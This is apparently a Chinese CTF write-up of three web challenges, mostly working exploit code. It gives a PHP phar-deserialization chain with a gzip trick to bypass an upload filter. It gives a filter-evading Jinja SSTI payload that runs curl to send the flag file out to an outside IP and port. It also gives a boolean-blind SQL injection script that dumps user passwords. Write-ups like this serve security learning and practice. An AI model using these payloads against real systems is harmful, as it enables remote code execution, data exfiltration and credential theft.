目录
Ez to getflag
进来有两个功能,一个查看,一个上传
图片查看功能可以任意文件读
upload.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
file.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
class.php
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function__call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function__construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>
Show类文件操作可以触发phar反序列化
瞪眼看链子
Test.__destruct -> Upload.__toString -> Show.__get -> Show.__call -> Show.backdoor()
exp:
<?php
class Upload {
public $f;
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show('suibian');
$t->str->fsize = '/flag';
$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
?>
使用gzip压缩来绕过对文件内容的检测
import gzip
with open('poc.phar', 'rb') as file:
f = file.read()
newf = gzip.compress(f) #对Phar文件进行gzip压缩
with open('poc.png', 'wb') as file:#更改文件后缀
file.write(newf)
上传恶意phar文件
<?php echo md5("poc.png"); //23f1a0f70f076b42b5b49f24ee28f696 ?>
读文件触发phar反序列化
/file.php?f=phar://upload/23f1a0f70f076b42b5b49f24ee28f696.png&_=1713073174353
Harddisk
🤔真准
想是SSTI
fuzz出过滤:
}}, {{, ], [, ], , , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
过滤{{}},我们可以用 {%print(......)%}
或 {% if ... %}1{% endif %}
的形式来代替
过滤print 关键字,则只能用 {% if ... %}success{% endif %}
的形式来bypass。因为无回显,所以要外带数据
过滤了 ]
、_
、request
这类常用的字符和关键字,可以用 attr() 配合 unicode 编码绕过
遍历找到popen位置是132
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
for i in range(500):
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
数据外带
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u0031\\u0061\\u0067\\u0067\\u0067\\u0067\\u0068\\u0065\\u0072\\u0065\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f1agggghere`
i = 132
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
f'("{cmd}")' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
监听,拿到flag(补全{}即可)
绝对防御
vocal进来吓呆了,纯静态啊
在js处做文章了只能
JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。
https://github.com/Threezh1/JSFinder
访问/SUPPERAPI.php
前端过滤不用管,禁用js即可
测出布尔盲注
import requests
url = "http://947e0e56-2959-4cde-9cd7-e6f58efbee74.node5.buuoj.cn:81/SUPPERAPI.php?id="
flag = ''
for i in range(1, 200):
print("------------------" + str(i) + "------------------")
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# ctf
# paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)
# user
# paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)
# id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)
# admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}
paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)
r = requests.get(url + paylaod)
# print(str(low) + ':' + str(mid) + ':' + str(high))
if "flag" in r.text:
# print(r.text)
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)
Newser
哎PHP😔